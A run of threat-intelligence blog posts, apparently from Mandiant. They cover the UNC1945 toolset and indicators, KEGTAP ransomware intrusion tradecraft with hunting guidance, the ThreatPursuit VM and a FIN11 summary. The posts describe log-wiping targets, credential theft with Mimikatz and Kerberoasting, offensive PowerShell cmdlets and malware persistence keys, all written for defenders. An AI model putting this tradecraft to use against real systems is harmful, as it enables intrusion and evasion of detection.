The ease and breadth of exploitation in which UNC1945 conducted this campaign suggests a sophisticated, persistent actor comfortable exploiting various operating systems, and access to resources and numerous toolsets. Given the aforementioned factors, use of zero-day exploits and virtual machines, and ability to traverse multiple third-party networks, Mandiant expects this motivated threat actor to continue targeted operations against key industries while taking advantage of operating systems that likely have inadequate security visibility.

#### Associated Tools and Malware Families

EVILSUN is a remote exploitation tool that gains access to Solaris 10 and 11 systems of SPARC or i386 architecture using a vulnerability (CVE-2020-14871) exposed by SSH keyboard-interactive authentication. The remote exploitation tool makes SSH connections to hosts passed on the command line. The default port is the normal SSH port (22), but this may be overridden. EVILSUN passes the banner string SSH-2.0-Sun_SSH_1.1.3 over the connection in clear text as part of handshaking.

LEMONSTICK is a Linux executable command line utility with backdoor capabilities. The backdoor can execute files, transfer files, and tunnel connections. LEMONSTICK can be started in two different ways: passing the -c command line argument (with an optional file) and setting the ‘OCB’ environment variable. When started with the -c command line argument, LEMONSTICK spawns an interactive shell. When started in OCB mode, LEMONSTICK expects to read from STDIN. The STDIN data is expected to be encrypted with the blowfish algorithm. After decrypting, it dispatches commands based on the name—for example: ‘executes terminal command’, ‘connect to remote system’, ‘send & retrieve file’, ‘create socket connection’.

LOGBLEACH is an ELF utility that has a primary functionality of deleting log entries from a specified log file(s) based on a filter provided via command line. The following log files are hard coded in the malware, but additional log paths may be specified:

• /var/run/utmp
• /var/log/wtmp
• /var/log/btmp
• /var/log/lastlog
• /var/log/faillog
• /var/log/syslog
• /var/log/messages
• /var/log/secure
• /var/log/auth.log

OKSOLO is a publicly available backdoor that binds a shell to a specified port. It can be compiled to support password authentication or dropped into a root shell.

OPENSHACKLE is a reconnaissance tool that collects information about logged-on users and saves it to a file. OPENSHACKLE registers Windows Event Manager callback to achieve persistence.

ProxyChains allows the use of SSH, TELNET, VNC, FTP and any other internet application from behind HTTP (HTTPS) and SOCKS (4/5) proxy servers. This "proxifier" provides proxy server support to any application.

PUPYRAT (aka Pupy) is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function RAT (Remote Administration Tool) and post-exploitation tool mainly written in Python. It features an all-in-memory execution guideline and leaves very low footprint. It can communicate using various transports, migrate into processes (reflective injection), and load remote Python code, Python packages and Python C-extensions from memory.

STEELCORGI is a packer for Linux ELF programs that uses key material from the executing environment to decrypt the payload. When first starting up, the malware expects to find up to four environment variables that contain numeric values. The malware uses the environment variable values as a key to decrypt additional data to be executed.

SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

TINYSHELL is a lightweight client/server clone of the standard remote shell tools (rlogin, telnet, ssh, etc.), which can act as a backdoor and provide remote shell execution as well as file transfers.

#### Detections

• FE_APT_Trojan_Linux_STEELCORGI_1
• FE_APT_Trojan_Linux_STEELCORGI_2
• FE_HackTool_Linux64_EVILSUN_1
• FE_HackTool_Linux_EVILSUN_1
• HackTool.Linux.EVILSUN.MVX
• HXIOC UUID: e489ce60-f315-4d1a-a888-77782f687eec
• EVILSUN (FAMILY) 90005075FE_Trojan_Linux_LEMONSTICK_1
• FE_APT_Tool_Win32_OPENSHACKLE_1
• FE_APT_Tool_Win_OPENSHACKLE_1
• OPENSHACKLE (UTILITY) 90005006
• FE_APT_Backdoor_Linux64_SLAPSTICK_1
• FE_APT_Backdoor_Linux_SLAPSTICK_1
• FE_Backdoor_Win_PUPYRAT_1
FE_APT_Pupy_RAT
• FE_Ransomware_Win64_ROLLCOAST_1
• FE_Ransomware_Win_ROLLCOAST_1
• HXIOC, 45632ca0-a20b-487f-841c-c74ca042e75a; ROLLCOAST RANSOMWARE (FAMILY)
• Ransomware.Win.ROLLCOAST.MVX

#### Hashes

• 0845835e18a3ed4057498250d30a11b1 (STEELCORGI)
• 6983f7001de10f4d19fc2d794c3eb534
• 2eff2273d423a7ae6c68e3ddd96604bc
• d505533ae75f89f98554765aaf2a330a
• abaf1d04982449e0f7ee8a34577fe8af

#### Netblocks

• 46.30.189.0/24
• 66.172.12.0/24
 ATT&CK Tactic Category Techniques Initial Access T1133 External Remote Services T1190 Exploit Public-Facing Application Execution T1059 Command and Scripting Interpreter T1059.001 PowerShell T1064 Scripting Persistence T1133 External Remote Services Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Defense Evasion T1027 Obfuscated Files or Information T1070.004 File Deletion T1070.006 Timestomp T1064 Scripting T1553.002 Code Signing Discovery T1046 Network Service Scanning T1082 System Information Discovery T1518.001 Security Software Discovery Lateral Movement T1021.001 Remote Desktop Protocol T1021.004 SSH Command and Control T1071 Application Layer Protocol T1090 Proxy T1105 Ingress Tool Transfer T1132.001 Standard Encoding

For more information, check out our Bring Your Own Land blog post. Additionally, Mandiant experts from the FLARE team will present an in-depth view into UNC1945 on Thursday, Nov. 12. Register today to reserve your spot for this discussion, where the presenters from FLARE and Mandiant Managed Defense will also answer questions from the audience. Finally, for more intelligence on these types of threats, please register for Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

# Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser

Throughout 2020, ransomware activity has become increasingly prolific, relying on an ecosystem of distinct but co-enabling operations to gain access to targets of interest before conducting extortion. Mandiant Threat Intelligence has tracked several loader and backdoor campaigns that lead to the post-compromise deployment of ransomware, sometimes within 24 hours of initial compromise. Effective and fast detection of these campaigns is key to mitigating this threat.

The malware families enabling these attacks previously reported by Mandiant to intelligence subscribers include KEGTAP/BEERBOT, SINGLEMALT/STILLBOT and WINEKEY/CORKBOT. While these malware families communicate with the same command and control infrastructure (C2) and are close to functional parity, there are minimal code overlaps across them. Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9.

The operators conducting these campaigns have actively targeted hospitals, retirement communities, and medical centers, even in the midst of a global health crisis, demonstrating a clear disregard for human life.

#### Email Campaign TTPs

Campaigns distributing KEGTAP, SINGLEMALT and WINEKEY have been sent to individuals at organizations across a broad range of industries and geographies using a series of shifting delivery tactics, techniques and procedures (TTPs). Despite the frequent changes seen across these campaigns, the following has remained consistent across recent activity:

• Emails contain an in-line link to an actor-controlled Google Docs document, typically a PDF file.
• This document contains an in-line link to a URL hosting a malware payload.
• Emails masquerade as generic corporate communications, including follow-ups about documents and phone calls or emails crafted to appear related to complaints, terminations, bonuses, contracts, working schedules, surveys or queries about business hours.
• Some email communications have included the recipient’s name or employer name in the subject line and/or email body.

Despite this uniformity, the associated TTPs have otherwise changed regularly—both between campaigns and across multiple spam runs seen in the same day. Notable ways that these campaigns have varied over time include:

• Early campaigns were delivered via Sendgrid and included in-line links to Sendgrid URLs that would redirect users to attacker-created Google documents. In contrast, recent campaigns have been delivered via attacker-controlled or compromised email infrastructure and have commonly contained in-line links to attacker-created Google documents, although they have also used links associated with the Constant Contact service.
• The documents loaded by these in-line links are crafted to appear somewhat relevant to the theme of the email campaign and contain additional links along with instructions directing users to click on them. When clicked, these links download malware binaries with file names masquerading as document files. Across earlier campaigns these malware binaries were hosted on compromised infrastructure, however, the attackers have shifted to hosting their malware on legitimate web services, including Google Drive, Basecamp, Slack, Trello, Yougile, and JetBrains.
• In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In cases where the payloads have been taken down, the actors have sometimes updated their Google documents to contain new, working links.
• Some campaigns have also incorporated customization, including emails with internal references to the recipients’ organizations (Figure 1) and organizations’ logos embedded into the Google Docs documents (Figure 2).

Figure 1: Email containing internal references to target an organization’s name

Figure 2: Google Docs PDF document containing a target organization’s logo

Hiding the final payload behind multiple links is a simple yet effective way to bypass some email filtering technologies. Various technologies have the ability to follow links in an email to try to identify malware or malicious domains; however, the number of links followed can vary. Additionally, embedding links within a PDF document further makes automated detection and link-following difficult.

#### Post-Compromise TTPs

Given the possibility that accesses obtained from these campaigns may be provided to various operators to monetize, the latter-stage TTPs, including ransomware family deployed, may vary across intrusions. A notable majority of cases where Mandiant has had visibility into these post-compromise TTPs have been attributable to UNC1878, a financially motivated actor that monetizes network access via the deployment of RYUK ransomware.

Establish Foothold

Once the loader and backdoor have been executed on the initial victim host, the actors have used this initial backdoor to download POWERTRICK and/or Cobalt Strike BEACON payloads to establish a foothold. Notably, the respective loader and backdoor as well as POWERTRICK have typically been installed on a small number of hosts in observed incidents, suggesting these payloads may be reserved for establishing a foothold and performing initial network and host reconnaissance. However, BEACON is frequently found on a larger number of hosts and used throughout various stages of the attack lifecycle.

Maintain Presence

Beyond the preliminary phases of each intrusion, we have seen variations in how these attackers have maintained presence after establishing an initial foothold or moving laterally within a network. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot.

• The loaders associated with this activity can maintain persistence through reboot by using at least four different techniques, including creating a scheduled task, adding itself to the startup folder as a shortcut, creating a scheduled Microsoft BITS job using /setnotifycmdline, and adding itself to the Userinit value under the following registry key:
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
• Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. Notably, BEACON is the backdoor observed most frequently across these incidents.
• We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor.
• The actors were observed using BEACON to execute PowerLurk's Register-MaliciousWmiEvent cmdlet to register WMI events used to kill processes related to security tools and utilities, including Task Manager, WireShark, TCPView, ProcDump, Process Explorer, Process Monitor, NetStat, PSLoggedOn, LogonSessions, Process Hacker, Autoruns, AutorunsSC, RegEdit, and RegShot.
• In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication.

Escalate Privileges

The most commonly observed methods for escalating privileges in these incidents have involved the use of valid credentials. The actors used a variety of techniques for accessing credentials stored in memory or on disk to access privileged accounts.

• The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON.
• Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller.
• In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet.

Reconnaissance

The approaches taken to perform host and network reconnaissance across these incidents varied; however, a significant portion of observed reconnaissance activity has revolved around Activity Directory enumeration using publicly available utilities such as BLOODHOUND, SHARPHOUND or ADFind, as well as the execution of PowerShell cmdlets using Cobalt Strike BEACON.

• BEACON has been installed on a large number of systems across these intrusions and has been used to execute various reconnaissance commands including both built-in host commands and PowerShell cmdlets. Observed PowerShell cmdlets include:
• Invoke-AllChecks
• Invoke-BloodHound
• Invoke-EternalBlue
• Invoke-FileFinder
• Invoke-HostRecon
• Invoke-Inveigh
• Invoke-Kerberoast
• Invoke-mimikittenz
• Invoke-ShareFinder
• Invoke-UserHunter
• Mandiant has observed actors using POWERTRICK to execute built-in system commands on the initial victim host, including ipconfigfindstr, and cmd.exe.
• The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials.
• WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture.
• The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt
• The actors used the Nltest command to list domain controllers.

Lateral Movement

Lateral movement was most commonly accomplished using valid credentials in combination with Cobalt Strike BEACON, RDP and SMB, or using the same backdoors used to establish a foothold in victim networks.

• The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments.
• The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols.
• The actors used the Windows net use command to connect to Windows admin shares to move laterally.

Complete Mission

Mandiant is directly aware of incidents involving KEGTAP that included the post-compromise deployment of RYUK ransomware. We have also observed instances where ANCHOR infections, another backdoor associated with the same actors, preceded CONTI or MAZE deployment.

• In at least one case, an executable was observed that was designed to exfiltrate files via SFTP to an attacker-controlled server.
• The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files.
• The actors were observed deleting their tools from victim hosts in an attempt to remove indicators of compromise.
• The actors have used their access to the victim network to deploy ransomware payloads. There is evidence to suggest that RYUK ransomware was likely deployed via PsExec, but other scripts or artifacts related to the distribution process were not available for forensic analysis.

#### Hunting Strategies

If an organization identifies a host with an active infection believed to be an instance of KEGTAP or a parallel malware family, the following containment actions are recommended. Note that due to the velocity of this intrusion activity, these actions should be taken in parallel.

• Isolate and perform a forensic review of any impacted systems.
• Review incoming emails to the user that owns the impacted device for emails matching the distribution campaigns, and take action to remove the messages from all mailboxes.
• Identify the URLs used by the phishing campaign and block them using proxy or network security devices.
• Reset credentials for any user accounts associated with execution of the malware.
• Perform an enterprise wide review for lateral movement authentication from the impacted systems.
• Check authentication logs from any single-factor remote access solutions that may exist (VPN, VDI, etc) and move towards multi-factor authentication (MFA) as soon as possible.

An enterprise-wide effort should be made to identify host-based artifacts related to the execution of first-stage malware and all post-intrusion activity associated with this activity. Some baseline approaches to this have been captured as follows.

Activity associated with the KEGTAP loader can often be identified via a review of system startup folders and Userinit values under the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon registry key.

Figure 3: Example LNK file associated with KEGTAP persistence within a system’s startup folders

SINGLEMALT employs BITS to maintain persistence through reboot and can often be identified via a review of anomalous BITS jobs. SINGLEMALT uses a well-documented BITS persistence mechanism that intentionally creates a job to download a non-existent URL, which will trigger a failure event. The job is set to retry on a regular interval, thus ensuring the malware continues to run. To review the BITS job on a host run the command bitsadmin /list.

• Display name may be “Adobe Update”, “System autoupdate” or another generic value.
• Notify state may be set to Fail (Status 2).
• FileList URL value may be set to the local host or a URL that does not exist.
• The Notification Command Line value may contain the path to the SINGLEMALT sample and/or a command to move it to a new location then start it.
• The Retry Delay value will be set.

WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware.

 Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backup Mgr Value: Path to the backdoor

Figure 4: Example registry RUN key used by WINEKEY to maintain persistence

The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case.

• The identification of named scheduled tasks associated with ANCHOR persistence may be constructed according to the following pattern: <Random directory within %APPDATA%> autoupdate#<random number>.
• All unnamed scheduled tasks should be reviewed, particularly those with a creation date consistent with the time of the suspected compromise.

Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\Windows\SysWOW64 directory that have a file name matching the following pattern: <8 random lowercase chars>.exe. Stacking or sorting on file creation timestamps in the C:\Windows\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static.

Post-exploitation activity associated with the deployment of ransomware following these campaigns is typically conducted using the Cobalt Strike attack framework. The BEACON payload associated with Cobalt Strike can often be identified via a review of existing registered services and service creation events (Event ID 7045), both markers of the mechanism it most commonly employs to maintain persistence.

The following are additional strategies that may aid in identifying associated activity:

• Organizations can review web proxy logs in order to identify HXXP requests for file storage, project management, collaboration or communication services with a referrer from a Google Docs document.

#### Detecting the Techniques

FireEye detects this activity across our platforms. The following table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

# Welcome to ThreatPursuit VM: A Threat Intelligence and Hunting Virtual Machine

Skilled adversaries can deceive detection and often employ new measures in their tradecraft. Keeping a stringent focus on the lifecycle and evolution of adversaries allows analysts to devise new detection mechanisms and response processes. Access to the appropriate tooling and resources is critical to discover these threats within a timely and accurate manner. Therefore, we are actively compiling the most essential software packages into a Windows-based distribution: ThreatPursuit VM.

ThreatPursuit Virtual Machine (VM) is a fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly. The threat intelligence analyst role is a subset and specialized member of the blue team. Individuals in this role generally have a strong impetus for knowing the threat environment. Often their traits, skills and experiences will vary depending on training and subject matter expertise.

Their expertise may not be technical and may include experiences and tradecraft earned by operating within a different domain (e.g., geospatial, criminal, signals intelligence, etc.). A key aspect of the role may include the requirement to hunt, study and triage previously undiscovered or recently emerging threats by discerning data for evil. Threat analysts apply a variety of structured analytical methods in order to develop meaningful and relevant products for their customers.

With this distribution we aim to enable users to:

• Conduct hunting activities or missions
• Create adversarial playbooks using evidence-based knowledge
• Develop and apply a range of analytical products amongst datasets
• Perform analytical pivoting across forensic artifacts and elements
• Enable situational awareness through intelligence sharing and reporting
• Applied data science techniques & visualize clusters of symbolic data
• Leverage open intelligence sources to provide unique insights for defense and offense

Akin to both FLARE-VM and Commando VM, ThreatPursuit VM uses Boxstarter, Chocolatey and MyGet packages to install software that facilitates the many aspects related to roles performed by analysts. The tools installed provide easy access to a broad range of tooling, including, but not limited to, threat analytics, statistics, visualisation, threat hunting, malware triage, adversarial emulation, and threat modelling. Here are some of the tools, but there are many more:

#### Installation

Similar to FLARE-VM and Commando VM, it's recommended to install ThreatPursuit VM in a virtual machine. The following is an overview of the minimal and recommended installation requirements.

##### Requirements
• Windows 10 1903 or greater
• 60 GB Hard Drive
• 4 GB RAM
##### Recommended
• Windows 10 1903
• 80+ GB Hard Drive
• 6+ GB RAM
• OpenGL Graphics Card 1024mb
• Enable Virtualization support for VM
• Required for Docker (MISP, OpenCTI)
##### Standard Install

The easiest way to install ThreatPursuit VM is to use the following steps. This will install all the default tools and get you finding evil in no time!

1. Create and configure a new Windows 10 VM with the aforementioned requirements.
• Ensure VM is updated completely. You may need to check for updates, reboot and check again until no more remain.
2. Install your specific VM guest tools (e.g., VMware Tools) to allow additional features such as copy/paste and screen resizing.
3. Take a snapshot of your machine! This allows you to always have a clean state.
5. Open PowerShell as an administrator.

Next, unblock the install file by running: Unblock-File .\install.ps1, as seen in Figure 1.

Figure 1: Unblock-File installation script

Enable script execution by running: Set-ExecutionPolicy Unrestricted -f , as seen in Figure 2.

Figure 2: Set-ExecutionPolicy Unrestricted -f script

Finally, execute the installer script as follows: .\install.ps1

After executing install.ps1, you’ll be prompted for the administrator password in order to automate host restarts during installation as several reboots occur. Optionally, you may pass your password as a command-line argument via ".\install.ps1 -password <password>". If you do not have a password set, hitting enter when prompted will also work.

This will be the last thing you will need to do before the installation is unattended. The script will set up the Boxstarter environment and proceed to download and install the ThreatPursuit VM environment, as seen in Figure 3.

Figure 3: Installation script execution

The installation process may take upwards of several hours depending on your internet connection speed and the web servers hosting the various files. Figure 4 shows the post-installation desktop environment, featuring the logo and a desktop shortcut. You will know when the install is finished with the VM's logo placed on the background.

Figure 4: ThreatPursuit VM desktop installed

##### Custom Install

Is the standard installation too much for you? We provide a custom installation method that allows you to choose which chocolatey packages get installed. For additional details, see the Custom Install steps at our GitHub repository.

Since ThreatPursuit VM uses the Chocolatey Windows package manager, it's easy to install additional packages not included by default. For example, entering the command cinst github as administrator installs GitHub Desktop on your system.

To update all currently installed packages to their most recent versions, run the command cup all as administrator.

#### Getting Started: A Use Case

As threat analysts, what we choose to pursue will depend on the priorities and requirements of our current role. Often, they vary with each threat or adversary encountered such as financial crime, espionage, issue-motivated groups or individuals. The role broadly encompasses the collection and analysis of threat data (e.g., malware, indicators of attack/compromise) with the goal of triaging the data and developing actionable intelligence. For example, one may want to produce detection signatures based on malware network communications to classify, share or disseminate indicators of compromise (IOCs) in standardized ways. We may also use these IOCs in order to develop and apply analytical products that establish clusters of analogous nodes such as MITRE ATT&CK tactics and techniques, or APT groups. On the other hand, our goal can be as simple as triaging a malware sample behavior, hunting for indicators, or proving or disproving a hypothesis. Let's look at how we might start.

#### Open Hunting

To start our use case, let’s say we are interested in reviewing latest threat actor activity reported for the quarter. We sign in to the Mandiant Advantage portal (Figure 5) using our public subscription to get a snapshot view of any highlighted activity (Figure 6).

Figure 6: Actor activity for Q3 2020

Based on Mandiant Advantage report, we notice a number of highly active APT and FIN actors. We choose to drill in to one of these actors by hovering our mouse and selecting the actor tag FIN11.

We receive a high-level snapshot summary view of the threat actor, their targeted industry verticals, associated reports and much more, as seen in Figure 7. We also may choose to select the most recent report associated with FIN11 for review.

Figure 7: FIN11 actor summary

By selecting the “View Full Page” button as seen at the top right corner of Figure 6, we can use the feature to download indicators, as seen in the top right corner of Figure 8.

Figure 8: Full FIN11 page

Within the FIN11 report, we review the associated threat intelligence tags that contain finished intelligence products. However, we are interested in the collection of raw IOCs (Figure 9) that we could leverage to pivot off or enrich our own datasets.

Using the Malware Information Sharing Platform (MISP)as our collection point, we are going to upload and triage our indicators using our local MISP instance running on ThreatPursuit VM.

Please note you will need to ensure your local MISP instance is running correctly with the configuration of your choosing. We select the “Add Event” button, begin populating all needed fields to prepare our import, and then click “Submit”, as shown in Figure 10.

Figure 10: MISP triage of events

Under the tags section of our newly created FIN11 event, we apply relevant tags to begin associating aspects of contextual information related to our target, as seen in Figure 11.

Figure 11: MISP Event setup for FIN11

We then select “Add Attribute” into our event, which will allow us to import our MD5 hashes into the MISP galaxy, as seen in Figure 12. Using both the category and type, we select the appropriate values that best represent our dataset and prepare to submit that data into our event.

Figure 12: MISP import events into FIN11 event

MISP allows for a streamlined way to drill and tag indicators as well as enrich and pivot with threat intelligence. We can also choose to perform this enrichment process within MISP using a variety of open intelligence sources and their modules, such as Mandiant Advantage, PassiveTotal, Shodan and VirusTotal. We can also achieve the same result using similar tools already packaged in ThreatPursuit VM.

Using Maltego CE, installed as part of the VM, we can automate aspects of targeted collection and analysis of our FIN11 malware families and associated infrastructure. The following are just some of the Maltego plugins that can be configured post installation to help with the enrichment and collection process:

Targeting the suspected payload, we attempt to pivot using its MD5 hash value (113dd1e3caa47b5a6438069b15127707) to discover additional artifacts, such as infrastructure, domain record history, previously triaged reports, similar malware samples, timestamps, and the rich headers.

Importing our hash into Maltego CE, we can proceed to perform a range of queries to hunt and retrieve interesting information related to our FIN11 malware, as seen in Figure 13.

Figure 13: Maltego CE querying MD5 hash

Quite quickly we pull back indicators; in this case, generic named detection signatures from a range of anti-malware vendors. Using VirusTotalAPI Public, we perform a series of collection and triage queries across a variety of configured open sources, as shown in Figure 14.

Figure 14: Automating enrichment and analysis of targeted infrastructure

With our newly identified information obtained by passively scraping those IOCs from a variety of data providers, we can identify additional hashes, delivery URLs and web command and control locations, as shown in Figure 15.

Figure 15: Maltego visualization of FIN11 dropper

Pivoting on the suspected FIN11 delivery domain near-fast[.]com, we have found several more samples that were uploaded to an online malware sandbox website AppAnyRun. Within the ThreatPursuit VM Google Chrome browser and in the Tools directory, there are shortcuts and bookmarks to a range of sandboxes to help with accessing and searching them quickly. We can use AppAnyRun to further analyze the heterogenous networks and execution behaviors of these acquired samples.

We have identified another similar sample, which is an XLS document named “MONITIORING REPORT.xls” with the MD5 hash 5d7d2371668ad4a6484f76b0b6511961 (Figure 16). Let’s attempt to triage this newly discovered sample and qualify the relationship back to FIN11.

Figure 16: VirusTotal execution report of 5d7d2371668ad4a6484f76b0b6511961

Extracting interesting strings and indicators from this sample allows us to compare these artifacts against our own dynamic analysis. If we can’t access the original malware sample, but we have other indicators to hunt with, we could also pivot on various unique characteristics and attributes (e.g., imphash, vthash, pdb string, etc...) to discover related samples.

Even without access to the sample, we can also use YARA to mine for similar malware samples. One such source to mine is using the mquery tool and their datasets offered via CERT.PL. To fast track the creation of a YARA rule, we leverage the FIN11 YARA rule provided within the FIN11 Mandiant Advantage report. Simply copy and paste the YARA rule into mquery page and select “Query” to perform the search (Figure 17). It may take some time, so be sure to check back later (here are the results).

Figure 17: mquery YARA rule hunting search for FIN11 malware

Within our mquery search, we find a generic signature hit on Win32_Spoonbeard_1_beta for the MD5 hash 3c43d080b5badfdde7aff732c066d1b2. We associate this MD5 hash with another sandbox, app.any.run, at the following URL:

As seen in Figure 18, this sample was first uploaded on May 2, 2019, with an associated infection chain intact.

Figure 18: AppAnyRun Execution Report on 3c43d080b5badfdde7aff732c066d1b2

We now have a confident signature hit, but with different named detections on the malware family. This is a common challenge for threat analysts and researchers. However we have gained interesting information about the malware itself such as its execution behavior, encryption methods, dropped files, timelines and command and control server and beacon information. This is more than enough for us to pivot across our own datasets to hunt for previously seen activities and prepare to finalize our report.

Once we are confident in our analysis, we can start to model and attribute the malware characteristics. We can leverage other threat exchange communities and intelligence sources to further enrich the information we collected on the sample. Enrichment allows the analysts to greater extrapolate context such as timings, malware similarity, associated infrastructures, and prior targeting information. We will briefly add our content into our MISP instance and apply tags to finalize our review.

We may wish to add MITRE ATT&CK tags (Figure 19) relevant across the malware infection chain for our sample as they could be useful from a modelling standpoint.

Figure 19: MITRE ATT&CK tags for the malware sample

#### Final Thoughts

We hope you enjoyed this basic malware triage workflow use-case using ThreatPursuit VM. There are so many more tools and capabilities within the included toolset such as Machine learning (ML) and ML algorithms, that also assist threat hunters by analyzing large volumes of data quickly. Check out some of FireEye’s ML blog posts here.

For a complete list of tools please see the ThreatPursuit VM GitHub repository. We look forward to releasing more blog posts, content and playbooks as our user base grows.

And finally, here are some related articles that might be of interest.

# Flare-On 7 Challenge Solutions

We are thrilled to announce the conclusion of the seventh annual Flare-On challenge. This year proved to be the most difficult challenge we’ve produced, with the lowest rate of finishers. This year’s winners are truly the elite of the elite! Lucky for them, all 260 winners will receive this cyberpunk metal key.

We would like to thank the challenge authors individually for their great puzzles and solutions:

1. fidler – Nick Harbour (@nickharbour)
2. garbage – Jon Erickson
3. Wednesday – Blaine Stancill (@MalwareMechanic)
4. report – Moritz Raabe (@m_r_tz)
5. TKApp – Moritz Raabe (@m_r_tz)
6. CodeIt – Mike Hunhoff (@mehunhoff)
7. re_crowd – Chris Gardner, Moritz Raabe, Blaine Stancill
8. Aardvark – Jacob Thompson
9. crackinstaller – Paul Tarter (@Hefrpidge)
10. break – Chris Gardner
11. Rabbit Hole – Sandor Nemes (@sandornemes)

This year’s Flare-On challenge was the first to feature a live public scoreboard, so players could track their progress and the progress of previous Flare-On challenge champions. Despite this increased data at your fingertips, we are still going to bring you even more stats. As of 11:00am ET, participation was near record setting levels at 5,648 players registered. 3,574 of those players finished at least one challenge.

The U.S. reclaimed the top spot for total finishers with 22. Singapore was once again in second place, but in uncontested first place per capita, with one Flare-On finisher for every 296,000 living persons in Singapore. This is the first year we have included a per capita finishers by country chart, and we did it to highlight just what a remarkable concentration of talent exists in some corners of the world. Consistent top finisher Russia took third place, and a growing player base in Germany and Israel came into full bloom this year, with those countries edging out other frequent top five countries such as China, India and Vietnam.

All the binaries from this year’s challenge are now posted on the Flare-On website. Here are the solutions written by each challenge author:

# FIN11: Widespread Email Campaigns as Precursor for Ransomware and Data Theft

Mandiant Threat Intelligence recently promoted a threat cluster to a named FIN (or financially motivated) threat group for the first time since 2017. We have detailed FIN11's various tactics, techniques and procedures in a report that is available now by signing up for Mandiant Advantage Free.

In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity. There are significant gaps in FIN11’s phishing operations, but when active, the group conducts up to five high-volume campaigns a week. While many financially motivated threat groups are short lived, FIN11 has been conducting these widespread phishing campaigns since at least 2016. From 2017 through 2018, the threat group primarily targeted organizations in the financial, retail, and hospitality sectors. However, in 2019 FIN11’s targeting expanded to include a diverse set of sectors and geographic regions. At this point, it would be difficult to name a client that FIN11 hasn’t targeted.

Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group’s shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion.

Notably, FIN11 includes a subset of the activity security researchers call TA505, but we do not attribute TA505’s early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers. Like most financially motivated actors, FIN11 doesn’t operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

To learn more about FIN11’s evolving delivery tactics, use of services, post-compromise TTPs, and monetization methods, register for Mandiant Advantage Free. The full FIN11 report is also available through our FireEye Intelligence Portal (FIP). Then for even more information, register for our exclusive webinar on Oct. 29 where Mandiant threat intelligence experts will take a deeper dive into FIN11, including its origins, tactics, and potential for future activity.

# Detecting Microsoft 365 and Azure Active Directory Backdoors

Mandiant has seen an uptick in incidents involving Microsoft 365 (M365) and Azure Active Directory (Azure AD). Most of these incidents are the result of a phishing email coercing a user to enter their credentials used for accessing M365 into a phishing site. Other incidents have been a result of password spraying, password stuffing, or simple brute force attempts against M365 tenants. In almost all of these incidents, the user or account was not protected by multi-factor authentication (MFA).

These opportunistic attacks are certainly the most common form of compromise for M365 and Azure AD, and are usually the initial vector to establish persistence. During both incident response (IR) engagements and proactive cloud assessments we are often asked:

• What are some other types of attacks that Mandiant is seeing against M365 and Azure AD?
• Is it possible for an on-premises compromise to “vertically” move to M365 and Azure AD?
• If a global administrator account is compromised, is it possible to maintain persistence even after the compromised account has been detected, a password reset has occurred, and MFA has been applied?

